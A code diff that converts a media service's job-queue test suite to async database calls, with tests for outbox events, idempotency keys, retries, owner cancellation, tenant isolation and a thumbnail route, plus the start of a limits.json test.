+ const env = (await outbox()).find((e) => e.subject.id === a.job.id);
+ assert.deepStrictEqual([env.source, env.priority, env.visibility, env.payload.type, env.payload.status, env.payload.app_id], ['media', 'low', 'internal', 'test.flaky', 'queued', 'live']);
+ assertJobEvent(env);
+ const aRow = await queue.get(a.job.id);
+ assert.deepStrictEqual([env.payload.created_at, env.payload.updated_at], [aRow.created_at, aRow.updated_at].map((t) => new Date(`${t.replace(' ', 'T')}Z`).toISOString()), 'times are the row\'s, in ISO 8601 UTC');
+ assert.deepStrictEqual([env.payload.attempts, env.payload.max_attempts, env.payload.error_code, env.payload.cancel_requested, env.payload.has_result, env.payload.object_id, env.payload.run_after, env.payload.started_at, env.payload.finished_at, env.payload.decided_at],
+ [0, 3, null, false, false, null, null, null, null, null]);
+ const q2 = await queue.enqueue({ appId: 'live', type: 'test.permanent' });
+ failOutbox(true);
+ await assert.rejects(async () => await queue.enqueue({ appId: 'live', type: 'test.flaky', params: { x: 2 } }), /outbox insert failed/);
+ assert.strictEqual((await db.get("SELECT COUNT(*) AS n FROM media_jobs WHERE params = '{\"x\":2}'")).n, 0, 'no job without its event');
+ await assert.rejects(async () => await queue.cancel(q2.job.id, { by: 'x' }), /outbox insert failed/);
+ failOutbox(false);
+ assert.strictEqual((await queue.get(q2.job.id)).status, 'queued', 'a cancel whose event cannot be written changes nothing');
+ assert.ok(hooks.length === 0, 'job events go to Events only, not the app webhook');
+ console.log('✅ job state changes commit with their media.job.* outbox row, or not at all');
- // ── 3. Idempotency keys ──
- const k1 = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' });
- const k2 = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' });
- assert.ok(k1.created && k2.replayed && k1.job.id === k2.job.id);
- assert.ok(!JSON.stringify(jobPayloads(k1.job.id)).includes('key-1'), 'the idempotency key stays out of the event');
- assert.throws(() => queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 2 }, idempotencyKey: 'key-1' }), (e) => e.code === 'media.job.idempotency_conflict' && e.status === 409);
- assert.ok(queue.enqueue({ appId: 'games', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' }).created, 'keys are per tenant');
- const d1 = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { same: true }, dedupeActive: true });
- const d2 = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { same: true }, dedupeActive: true });
- assert.ok(d2.deduped && d2.job.id === d1.job.id, 'dedupeActive joins an identical queued job');
- for (const id of [q2.job.id, k1.job.id, d1.job.id]) queue.cancel(id, { by: 'test' });
- db.run("UPDATE media_jobs SET status = 'cancelled' WHERE app_id = 'games'");
- console.log('✅ idempotency keys: replay, per-tenant, conflict on a different request; active-job dedupe');
+ // ── 3. Idempotency keys ──
+ const k1 = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' });
+ const k2 = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' });
+ assert.ok(k1.created && k2.replayed && k1.job.id === k2.job.id);
+ assert.ok(!JSON.stringify(await jobPayloads(k1.job.id)).includes('key-1'), 'the idempotency key stays out of the event');
+ await assert.rejects(async () => await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 2 }, idempotencyKey: 'key-1' }), (e) => e.code === 'media.job.idempotency_conflict' && e.status === 409);
+ assert.ok((await queue.enqueue({ appId: 'games', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' })).created, 'keys are per tenant');
+ const d1 = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { same: true }, dedupeActive: true });
+ const d2 = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { same: true }, dedupeActive: true });
+ assert.ok(d2.deduped && d2.job.id === d1.job.id, 'dedupeActive joins an identical queued job');
+ for (const id of [q2.job.id, k1.job.id, d1.job.id]) await queue.cancel(id, { by: 'test' });
+ await db.run("UPDATE media_jobs SET status = 'cancelled' WHERE app_id = 'games'");
+ console.log('✅ idempotency keys: replay, per-tenant, conflict on a different request; active-job dedupe');
- // ── 4. Worker: retry with backoff + checkpoint resume, permanent failure, attempts exhausted ──
- assert.ok(worker.start());
- const perm = queue.enqueue({ appId: 'live', type: 'test.permanent' });
- const always = queue.enqueue({ appId: 'live', type: 'test.always' });
- worker.kick();
- assert.ok(await waitFor(() => queue.get(a.job.id).status === 'succeeded'), 'the flaky job succeeds on its retry');
- assert.strictEqual(flakyCalls, 2);
- assert.deepStrictEqual(queue.jobPublic(queue.get(a.job.id)).result, { resumed_from: 1 }, 'the retry resumed from the checkpoint');
- assert.deepStrictEqual(jobEvents(a.job.id), ['media.job.queued', 'media.job.started', 'media.job.retrying', 'media.job.started', 'media.job.succeeded']);
- assert.ok(await waitFor(() => queue.get(perm.job.id).status === 'failed'));
- assert.deepStrictEqual([queue.get(perm.job.id).attempts, queue.get(perm.job.id).error_code], [1, 'bad_input'], 'a permanent failure is not retried');
- assert.ok(await waitFor(() => queue.get(always.job.id).status === 'failed'));
- assert.strictEqual(queue.get(always.job.id).attempts, 2, 'retried until max_attempts');
- assert.deepStrictEqual(jobEvents(always.job.id), ['media.job.queued', 'media.job.started', 'media.job.retrying', 'media.job.started', 'media.job.failed']);
- const failedEv = outbox().filter((e) => e.subject.id === always.job.id).pop();
- assert.deepStrictEqual([failedEv.priority, failedEv.payload.error_code, failedEv.payload.has_result, failedEv.payload.attempts], ['important', null, false, 2]);
- assert.ok(!JSON.stringify(failedEv.payload).includes('nope'), 'the free-text error stays out of the event');
- assert.strictEqual(queue.jobPublic(queue.get(always.job.id)).error, 'nope', 'GET the job for it');
- const permEv = outbox().filter((e) => e.subject.id === perm.job.id).pop();
- assert.deepStrictEqual([permEv.event_type, permEv.payload.error_code, permEv.payload.attempts], ['media.job.failed', 'bad_input', 1], 'the stable code is in the event');
- assert.ok(!JSON.stringify(permEv.payload).includes('will never work'));
- const [aQueued, aStarted, aRetrying, aStarted2, aSucceeded] = jobPayloads(a.job.id);
- assert.deepStrictEqual([aQueued.status, aStarted.status, aRetrying.status, aStarted2.status, aSucceeded.status], ['queued', 'running', 'queued', 'running', 'succeeded']);
- assert.ok(ISO.test(aRetrying.run_after) && ISO.test(aStarted.started_at) && aRetrying.finished_at === null, 'retrying: a backoff time, started, not finished');
- assert.deepStrictEqual([aStarted.attempts, aStarted2.attempts, aStarted2.started_at], [1, 2, aStarted.started_at], 'started_at stays the first attempt\'s start');
- assert.deepStrictEqual([aSucceeded.has_result, ISO.test(aSucceeded.finished_at), aSucceeded.error_code], [true, true, null]);
- assert.ok(!JSON.stringify(aSucceeded).includes('resumed_from') && !JSON.stringify(jobPayloads(a.job.id)).includes('"x"'), 'neither the result nor the params are in the events');
- console.log('✅ worker: retries with backoff resume from the checkpoint; permanent failures stop; attempts are capped');
+ // ── 4. Worker: retry with backoff + checkpoint resume, permanent failure, attempts exhausted ──
+ assert.ok(await worker.start());
+ const perm = await queue.enqueue({ appId: 'live', type: 'test.permanent' });
+ const always = await queue.enqueue({ appId: 'live', type: 'test.always' });
+ worker.kick();
+ assert.ok(await waitFor(async () => (await queue.get(a.job.id)).status === 'succeeded'), 'the flaky job succeeds on its retry');
+ assert.strictEqual(flakyCalls, 2);
+ assert.deepStrictEqual(queue.jobPublic(await queue.get(a.job.id)).result, { resumed_from: 1 }, 'the retry resumed from the checkpoint');
+ assert.deepStrictEqual(await jobEvents(a.job.id), ['media.job.queued', 'media.job.started', 'media.job.retrying', 'media.job.started', 'media.job.succeeded']);
+ assert.ok(await waitFor(async () => (await queue.get(perm.job.id)).status === 'failed'));
+ assert.deepStrictEqual([(await queue.get(perm.job.id)).attempts, (await queue.get(perm.job.id)).error_code], [1, 'bad_input'], 'a permanent failure is not retried');
+ assert.ok(await waitFor(async () => (await queue.get(always.job.id)).status === 'failed'));
+ assert.strictEqual((await queue.get(always.job.id)).attempts, 2, 'retried until max_attempts');
+ assert.deepStrictEqual(await jobEvents(always.job.id), ['media.job.queued', 'media.job.started', 'media.job.retrying', 'media.job.started', 'media.job.failed']);
+ const failedEv = (await outbox()).filter((e) => e.subject.id === always.job.id).pop();
+ assert.deepStrictEqual([failedEv.priority, failedEv.payload.error_code, failedEv.payload.has_result, failedEv.payload.attempts], ['important', null, false, 2]);
+ assert.ok(!JSON.stringify(failedEv.payload).includes('nope'), 'the free-text error stays out of the event');
+ assert.strictEqual(queue.jobPublic(await queue.get(always.job.id)).error, 'nope', 'GET the job for it');
+ const permEv = (await outbox()).filter((e) => e.subject.id === perm.job.id).pop();
+ assert.deepStrictEqual([permEv.event_type, permEv.payload.error_code, permEv.payload.attempts], ['media.job.failed', 'bad_input', 1], 'the stable code is in the event');
+ assert.ok(!JSON.stringify(permEv.payload).includes('will never work'));
+ const [aQueued, aStarted, aRetrying, aStarted2, aSucceeded] = await jobPayloads(a.job.id);
+ assert.deepStrictEqual([aQueued.status, aStarted.status, aRetrying.status, aStarted2.status, aSucceeded.status], ['queued', 'running', 'queued', 'running', 'succeeded']);
+ assert.ok(ISO.test(aRetrying.run_after) && ISO.test(aStarted.started_at) && aRetrying.finished_at === null, 'retrying: a backoff time, started, not finished');
+ assert.deepStrictEqual([aStarted.attempts, aStarted2.attempts, aStarted2.started_at], [1, 2, aStarted.started_at], 'started_at stays the first attempt\'s start');
+ assert.deepStrictEqual([aSucceeded.has_result, ISO.test(aSucceeded.finished_at), aSucceeded.error_code], [true, true, null]);
+ assert.ok(!JSON.stringify(aSucceeded).includes('resumed_from') && !JSON.stringify(await jobPayloads(a.job.id)).includes('"x"'), 'neither the result nor the params are in the events');
+ console.log('✅ worker: retries with backoff resume from the checkpoint; permanent failures stop; attempts are capped');
- // ── 5. Cancellation by the owner ──
- const slow = queue.enqueue({ appId: 'live', type: 'test.slow', createdBy: 'app:live:user:7', ownerUserId: 7 });
- worker.kick();
- assert.ok(await waitFor(() => queue.get(slow.job.id).status === 'running'));
- const express = require('express');
- const app = express();
- app.use(express.json());
- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
- app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));
- const server = http.createServer(app);
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const api = `http://127.0.0.1:${server.address().port}`;
- const call = async (method, p, { key = 'live-key', body, headers = {} } = {}) => {
- const h = { authorization: `Bearer ${key}`, ...headers };
- if (body !== undefined) h['content-type'] = 'application/json';
- const res = await fetch(api + p, { method, headers: h, body: body === undefined ? undefined : JSON.stringify(body) });
- const text = await res.text();
- let json = null; try { json = JSON.parse(text); } catch { /* */ }
- return { status: res.status, body: json, headers: res.headers };
- };
- let r = await call('POST', `/api/v2/live/jobs/${slow.job.id}/cancel`, { headers: { 'x-ov-user-id': '8' } });
- assert.strictEqual(r.status, 404, 'another user cannot see or cancel it');
- r = await call('POST', `/api/v2/games/jobs/${slow.job.id}/cancel`, { key: 'games-key' });
- assert.strictEqual(r.status, 404, 'another tenant cannot either');
- r = await call('POST', `/api/v2/live/jobs/${slow.job.id}/cancel`, { headers: { 'x-ov-user-id': '7' } });
- assert.deepStrictEqual([r.status, r.body.job.cancel_requested], [202, true], 'a running job stops at its next check');
- assert.ok(await waitFor(() => queue.get(slow.job.id).status === 'cancelled'), 'the abort signal stopped it');
- assert.deepStrictEqual(jobEvents(slow.job.id), ['media.job.queued', 'media.job.started', 'media.job.cancelled']);
- const slowCancelled = jobPayloads(slow.job.id).pop();
- assert.deepStrictEqual([slowCancelled.cancel_requested, slowCancelled.error_code, ISO.test(slowCancelled.finished_at)], [true, 'cancelled', true]);
- assert.ok(!/user:7|"owner_user_id"|"created_by"|"decided_by"/.test(JSON.stringify(jobPayloads(slow.job.id))), 'who created or cancelled it (tenant-local user ids) stays out of the events');
- assert.deepStrictEqual([queue.jobPublic(queue.get(slow.job.id)).created_by, queue.jobPublic(queue.get(slow.job.id)).owner_user_id], ['app:live:user:7', 7], 'the jobs API still has them');
- r = await call('DELETE', `/api/v2/live/jobs/${slow.job.id}`);
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.job.finished']);
- const waiting = queue.enqueue({ appId: 'live', type: 'test.permanent', runAfterS: 3600 });
- r = await call('DELETE', `/api/v2/live/jobs/${waiting.job.id}`);
- assert.deepStrictEqual([r.status, r.body.job.status], [200, 'cancelled'], 'a queued job is cancelled at once');
- console.log('✅ cancellation: owner only; queued at once, running through the abort signal; finished = 409');
+ // ── 5. Cancellation by the owner ──
+ const slow = await queue.enqueue({ appId: 'live', type: 'test.slow', createdBy: 'app:live:user:7', ownerUserId: 7 });
+ worker.kick();
+ assert.ok(await waitFor(async () => (await queue.get(slow.job.id)).status === 'running'));
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
+ app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));
+ const server = http.createServer(app);
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const api = `http://127.0.0.1:${server.address().port}`;
+ const call = async (method, p, { key = 'live-key', body, headers = {} } = {}) => {
+ const h = { authorization: `Bearer ${key}`, ...headers };
+ if (body !== undefined) h['content-type'] = 'application/json';
+ const res = await fetch(api + p, { method, headers: h, body: body === undefined ? undefined : JSON.stringify(body) });
+ const text = await res.text();
+ let json = null; try { json = JSON.parse(text); } catch { /* */ }
+ return { status: res.status, body: json, headers: res.headers };
+ };
+ let r = await call('POST', `/api/v2/live/jobs/${slow.job.id}/cancel`, { headers: { 'x-ov-user-id': '8' } });
+ assert.strictEqual(r.status, 404, 'another user cannot see or cancel it');
+ r = await call('POST', `/api/v2/games/jobs/${slow.job.id}/cancel`, { key: 'games-key' });
+ assert.strictEqual(r.status, 404, 'another tenant cannot either');
+ r = await call('POST', `/api/v2/live/jobs/${slow.job.id}/cancel`, { headers: { 'x-ov-user-id': '7' } });
+ assert.deepStrictEqual([r.status, r.body.job.cancel_requested], [202, true], 'a running job stops at its next check');
+ assert.ok(await waitFor(async () => (await queue.get(slow.job.id)).status === 'cancelled'), 'the abort signal stopped it');
+ assert.deepStrictEqual(await jobEvents(slow.job.id), ['media.job.queued', 'media.job.started', 'media.job.cancelled']);
+ const slowCancelled = (await jobPayloads(slow.job.id)).pop();
+ assert.deepStrictEqual([slowCancelled.cancel_requested, slowCancelled.error_code, ISO.test(slowCancelled.finished_at)], [true, 'cancelled', true]);
+ assert.ok(!/user:7|"owner_user_id"|"created_by"|"decided_by"/.test(JSON.stringify(await jobPayloads(slow.job.id))), 'who created or cancelled it (tenant-local user ids) stays out of the events');
+ assert.deepStrictEqual([queue.jobPublic(await queue.get(slow.job.id)).created_by, queue.jobPublic(await queue.get(slow.job.id)).owner_user_id], ['app:live:user:7', 7], 'the jobs API still has them');
+ r = await call('DELETE', `/api/v2/live/jobs/${slow.job.id}`);
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.job.finished']);
+ const waiting = await queue.enqueue({ appId: 'live', type: 'test.permanent', runAfterS: 3600 });
+ r = await call('DELETE', `/api/v2/live/jobs/${waiting.job.id}`);
+ assert.deepStrictEqual([r.status, r.body.job.status], [200, 'cancelled'], 'a queued job is cancelled at once');
+ console.log('✅ cancellation: owner only; queued at once, running through the abort signal; finished = 409');
- // ── 6. Interrupted jobs are requeued at start ──
- worker.stop();
- const orphan = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { orphan: true } });
- db.run("UPDATE media_jobs SET status = 'running', attempts = 1, lease_until = datetime('now', '+1 hour') WHERE id = ?", [orphan.job.id]);
- assert.strictEqual(queue.recoverInterrupted({ all: true }), 1);
- const back = queue.get(orphan.job.id);
- assert.deepStrictEqual([back.status, back.error_code], ['queued', 'interrupted']);
- assert.deepStrictEqual(jobEvents(orphan.job.id).slice(-1), ['media.job.retrying']);
- const orphanRetry = jobPayloads(orphan.job.id).pop();
- assert.deepStrictEqual([orphanRetry.status, orphanRetry.error_code, ISO.test(orphanRetry.run_after)], ['queued', 'interrupted', true]);
- queue.cancel(orphan.job.id, { by: 'test' });
- console.log('✅ a job left running by a dead process is requeued (or failed when out of attempts)');
+ // ── 6. Interrupted jobs are requeued at start ──
+ worker.stop();
+ const orphan = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { orphan: true } });
+ await db.run("UPDATE media_jobs SET status = 'running', attempts = 1, lease_until = datetime('now', '+1 hour') WHERE id = ?", [orphan.job.id]);
+ assert.strictEqual(await queue.recoverInterrupted({ all: true }), 1);
+ const back = await queue.get(orphan.job.id);
+ assert.deepStrictEqual([back.status, back.error_code], ['queued', 'interrupted']);
+ assert.deepStrictEqual((await jobEvents(orphan.job.id)).slice(-1), ['media.job.retrying']);
+ const orphanRetry = (await jobPayloads(orphan.job.id)).pop();
+ assert.deepStrictEqual([orphanRetry.status, orphanRetry.error_code, ISO.test(orphanRetry.run_after)], ['queued', 'interrupted', true]);
+ await queue.cancel(orphan.job.id, { by: 'test' });
+ console.log('✅ a job left running by a dead process is requeued (or failed when out of attempts)');
- // ── 7. The jobs API ──
- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'nope' } });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.unknown_type']);
- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split' } });
- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'object.split needs an object');
- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'invariant.scan' }, headers: { 'idempotency-key': 'scan-1' } });
- assert.strictEqual(r.status, 202);
- const scanId = r.body.job.id;
- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'invariant.scan' }, headers: { 'idempotency-key': 'scan-1' } });
- assert.deepStrictEqual([r.status, r.body.job.id, r.headers.get('idempotent-replayed')], [200, scanId, 'true']);
- r = await call('POST', `/api/v2/live/jobs/${scanId}/approve`);
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.job.not_proposed']);
- r = await call('GET', `/api/v2/live/jobs?type=invariant.scan`);
- assert.deepStrictEqual(r.body.jobs.map((j) => j.id), [scanId]);
- r = await call('GET', `/api/v2/live/jobs/${scanId}`);
- assert.deepStrictEqual([r.status, r.body.job.idempotency_key, r.body.job.params, r.body.job.created_by, r.body.job.created_at.includes('T')], [200, 'scan-1', {}, 'app:live', false],
- 'GET the job answers as before (queue.jobPublic: params, idempotency key, creator, SQLite times)');
- r = await call('GET', `/api/v2/games/jobs/${scanId}`, { key: 'games-key' });
- assert.strictEqual(r.status, 404, 'tenants are isolated');
- r = await call('GET', `/api/v2/live/jobs?status=bogus`);
- assert.strictEqual(r.status, 400);
- queue.cancel(scanId, { by: 'test' });
- console.log('✅ jobs API: create (Idempotency-Key replay), get, list, approve only proposals, tenant isolation');
+ // ── 7. The jobs API ──
+ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'nope' } });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.unknown_type']);
+ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split' } });
+ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'object.split needs an object');
+ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'invariant.scan' }, headers: { 'idempotency-key': 'scan-1' } });
+ assert.strictEqual(r.status, 202);
+ const scanId = r.body.job.id;
+ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'invariant.scan' }, headers: { 'idempotency-key': 'scan-1' } });
+ assert.deepStrictEqual([r.status, r.body.job.id, r.headers.get('idempotent-replayed')], [200, scanId, 'true']);
+ r = await call('POST', `/api/v2/live/jobs/${scanId}/approve`);
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.job.not_proposed']);
+ r = await call('GET', `/api/v2/live/jobs?type=invariant.scan`);
+ assert.deepStrictEqual(r.body.jobs.map((j) => j.id), [scanId]);
+ r = await call('GET', `/api/v2/live/jobs/${scanId}`);
+ assert.deepStrictEqual([r.status, r.body.job.idempotency_key, r.body.job.params, r.body.job.created_by, r.body.job.created_at.includes('T')], [200, 'scan-1', {}, 'app:live', false],
+ 'GET the job answers as before (queue.jobPublic: params, idempotency key, creator, SQLite times)');
+ r = await call('GET', `/api/v2/games/jobs/${scanId}`, { key: 'games-key' });
+ assert.strictEqual(r.status, 404, 'tenants are isolated');
+ r = await call('GET', `/api/v2/live/jobs?status=bogus`);
+ assert.strictEqual(r.status, 400);
+ await queue.cancel(scanId, { by: 'test' });
+ console.log('✅ jobs API: create (Idempotency-Key replay), get, list, approve only proposals, tenant isolation');
- // ── 8. The v1 thumbnail route runs as a thumbnail.regenerate job ──
- const thumbs = require('../server/thumbnails/thumbnail-service');
- let gens = 0;
- thumbs.generateVodThumbnail = async (id) => { gens++; await sleep(150); db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [`/t/vod-${id}-1.jpg`, id]); return `/t/vod-${id}-1.jpg`; };
- fs.writeFileSync(path.join(process.env.VOD_PATH, 'rec-1.webm'), 'not really a video');
- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) VALUES (1, 'live', 5, 'A', ?, 1, 60)").run(path.join(process.env.VOD_PATH, 'rec-1.webm'));
- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) VALUES (2, 'live', 5, 'B', ?, 1, 60)").run(path.join(process.env.VOD_PATH, 'gone.webm'));
- require('../server/objects/model').sync('vod', 1);
- const [t1, t2] = await Promise.all([call('POST', '/api/v1/live/thumbnails/vod/1'), call('POST', '/api/v1/live/thumbnails/vod/1')]);
- assert.deepStrictEqual([t1.status, t1.body.url, t2.status, t2.body.url], [200, '/t/vod-1-1.jpg', 200, '/t/vod-1-1.jpg'], 'the answer keeps its { url } shape');
- assert.strictEqual(t1.body.job_id, t2.body.job_id, 'two concurrent requests share one job');
- assert.strictEqual(gens, 1, 'one generation for both');
- const tj = queue.get(t1.body.job_id);
- assert.deepStrictEqual([tj.job_type, tj.status, tj.object_id], ['thumbnail.regenerate', 'succeeded', db.get('SELECT object_id FROM vods WHERE id = 1').object_id]);
- assert.deepStrictEqual(jobEvents(tj.id), ['media.job.queued', 'media.job.started', 'media.job.succeeded']);
- const thumbDone = jobPayloads(tj.id).pop();
- assert.deepStrictEqual([thumbDone.has_result, thumbDone.object_id], [true, tj.object_id]);
- assert.ok(!JSON.stringify(jobPayloads(tj.id)).includes('/t/vod-1'), 'a thumbnail URL (of a VOD that may be private) stays out of the event');
- r = await call('POST', '/api/v1/live/thumbnails/vod/2');
- assert.deepStrictEqual([r.status, r.body.error], [404, 'Media file unavailable'], 'no media is still a 404');
- assert.strictEqual(queue.get(r.body.job_id).error_code, 'media_unavailable');
- r = await call('POST', '/api/v1/live/thumbnails/vod/1?async=1');
- assert.strictEqual(r.status, 202);
- assert.ok(await waitFor(() => false, 50) || true);
- worker.start();
- assert.ok(await waitFor(() => queue.get(r.body.job.id).status === 'succeeded'), '?async=1 queues it for the worker');
- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'thumbnail.regenerate', object_id: `legacy:live:vod:1` } });
- assert.deepStrictEqual([r.status, r.body.job.params], [202, { kind: 'vod', id: 1 }], 'the v2 API takes the object and finds the row');
- assert.ok(await waitFor(() => queue.get(r.body.job.id).status === 'succeeded'));
- console.log('✅ the v1 thumbnail route runs a thumbnail.regenerate job and answers { url } as before (404 without media)');
+ // ── 8. The v1 thumbnail route runs as a thumbnail.regenerate job ──
+ const thumbs = require('../server/thumbnails/thumbnail-service');
+ let gens = 0;
+ thumbs.generateVodThumbnail = async (id) => { gens++; await sleep(150); await db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [`/t/vod-${id}-1.jpg`, id]); return `/t/vod-${id}-1.jpg`; };
+ fs.writeFileSync(path.join(process.env.VOD_PATH, 'rec-1.webm'), 'not really a video');
+ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 5, 'A', ?, 1, 60) RETURNING id").run(path.join(process.env.VOD_PATH, 'rec-1.webm'));
+ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (2, 'live', 5, 'B', ?, 1, 60) RETURNING id").run(path.join(process.env.VOD_PATH, 'gone.webm'));
+ await require('../server/objects/model').sync('vod', 1);
+ const [t1, t2] = await Promise.all([call('POST', '/api/v1/live/thumbnails/vod/1'), call('POST', '/api/v1/live/thumbnails/vod/1')]);
+ assert.deepStrictEqual([t1.status, t1.body.url, t2.status, t2.body.url], [200, '/t/vod-1-1.jpg', 200, '/t/vod-1-1.jpg'], 'the answer keeps its { url } shape');
+ assert.strictEqual(t1.body.job_id, t2.body.job_id, 'two concurrent requests share one job');
+ assert.strictEqual(gens, 1, 'one generation for both');
+ const tj = await queue.get(t1.body.job_id);
+ assert.deepStrictEqual([tj.job_type, tj.status, tj.object_id], ['thumbnail.regenerate', 'succeeded', (await db.get('SELECT object_id FROM vods WHERE id = 1')).object_id]);
+ assert.deepStrictEqual(await jobEvents(tj.id), ['media.job.queued', 'media.job.started', 'media.job.succeeded']);
+ const thumbDone = (await jobPayloads(tj.id)).pop();
+ assert.deepStrictEqual([thumbDone.has_result, thumbDone.object_id], [true, tj.object_id]);
+ assert.ok(!JSON.stringify(await jobPayloads(tj.id)).includes('/t/vod-1'), 'a thumbnail URL (of a VOD that may be private) stays out of the event');
+ r = await call('POST', '/api/v1/live/thumbnails/vod/2');
+ assert.deepStrictEqual([r.status, r.body.error], [404, 'Media file unavailable'], 'no media is still a 404');
+ assert.strictEqual((await queue.get(r.body.job_id)).error_code, 'media_unavailable');
+ r = await call('POST', '/api/v1/live/thumbnails/vod/1?async=1');
+ assert.strictEqual(r.status, 202);
+ assert.ok(await waitFor(() => false, 50) || true);
+ await worker.start();
+ assert.ok(await waitFor(async () => (await queue.get(r.body.job.id)).status === 'succeeded'), '?async=1 queues it for the worker');
+ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'thumbnail.regenerate', object_id: `legacy:live:vod:1` } });
+ assert.deepStrictEqual([r.status, r.body.job.params], [202, { kind: 'vod', id: 1 }], 'the v2 API takes the object and finds the row');
+ assert.ok(await waitFor(async () => (await queue.get(r.body.job.id)).status === 'succeeded'));
+ console.log('✅ the v1 thumbnail route runs a thumbnail.regenerate job and answers { url } as before (404 without media)');
- // Every job event this run queued has the projection's shape and its transition's status.
- const all = outbox().filter((e) => e.event_type.startsWith('media.job.'));
- assert.ok(all.length > 30);
- for (const e of all) assertJobEvent(e);
- assert.deepStrictEqual([...new Set(all.map((e) => e.event_type))].sort(), Object.keys(TRANSITION_STATUS).filter((t) => t !== 'proposed').map((t) => `media.job.${t}`).sort());
- console.log(`✅ ${all.length} media.job.* events: the projection only (no params, result, error text, idempotency key, creator/decider or owner user id), ISO 8601 UTC times`);
+ // Every job event this run queued has the projection's shape and its transition's status.
+ const all = (await outbox()).filter((e) => e.event_type.startsWith('media.job.'));
+ assert.ok(all.length > 30);
+ for (const e of all) assertJobEvent(e);
+ assert.deepStrictEqual([...new Set(all.map((e) => e.event_type))].sort(), Object.keys(TRANSITION_STATUS).filter((t) => t !== 'proposed').map((t) => `media.job.${t}`).sort());
+ console.log(`✅ ${all.length} media.job.* events: the projection only (no params, result, error text, idempotency key, creator/decider or owner user id), ISO 8601 UTC times`);
- worker.stop();
- events._reset();
- server.close();
- stub.close();
- console.log('\njobs: all checks passed');
- process.exit(0);
+ worker.stop();
+ events._reset();
+ server.close();
+ stub.close();
+ console.log('\njobs: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -1,38 +1,40 @@
@@ -1,38 +1,40 @@
'use strict';
'use strict';
-// GET /limits.json (WS-N task 7): the developer limits Media enforces, read from the running config
-// (an env override is what it answers), public with CORS *; Codes' /docs/limits renders it. rate_limits lists the
-// per-actor rate limits the routes declare (WS-R task 4).
-process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '50';
-const assert = require('assert');
-const http = require('http');
-const express = require('express');
-const config = require('../server/config');
-const { limitsOf, mountLimits } = require('../server/limits');
-
(async () => {
(async () => {
- const MB = 1024 * 1024;
- const by = Object.fromEntries(limitsOf(config).limits.map((l) => [l.id, l]));
- assert.deepStrictEqual([by.storage_bytes.production, by.storage_bytes.sandbox], [config.apps.projectQuotaMb * MB, 50 * MB], 'an env override is what it answers');
- assert.strictEqual(by.child_namespaces.production, config.objects.maxChildNamespaces);
- assert.strictEqual(by.storage_bytes.exceeded, '413 media.quota.exceeded');
- assert.strictEqual(by.deleted_retention_days.capability, 'media.object.delete');
- for (const l of Object.values(by)) assert.ok(Number.isInteger(l.production) && Number.isInteger(l.sandbox) && l.unit && l.exceeded, l.id);
+ // GET /limits.json (WS-N task 7): the developer limits Media enforces, read from the running config
+ // (an env override is what it answers), public with CORS *; Codes' /docs/limits renders it. rate_limits lists the
+ // per-actor rate limits the routes declare (WS-R task 4).
+ process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '50';
+ const assert = require('assert');
+ const http = require('http');
+ const express = require('express');
+ const config = require('../server/config');
+ const { limitsOf, mountLimits } = require('../server/limits');
+
+ (async () => {
+ const MB = 1024 * 1024;
+ const by = Object.fromEntries(limitsOf(config).limits.map((l) => [l.id, l]));
+ assert.deepStrictEqual([by.storage_bytes.production, by.storage_bytes.sandbox], [config.apps.projectQuotaMb * MB, 50 * MB], 'an env override is what it answers');
+ assert.strictEqual(by.child_namespaces.production, config.objects.maxChildNamespaces);
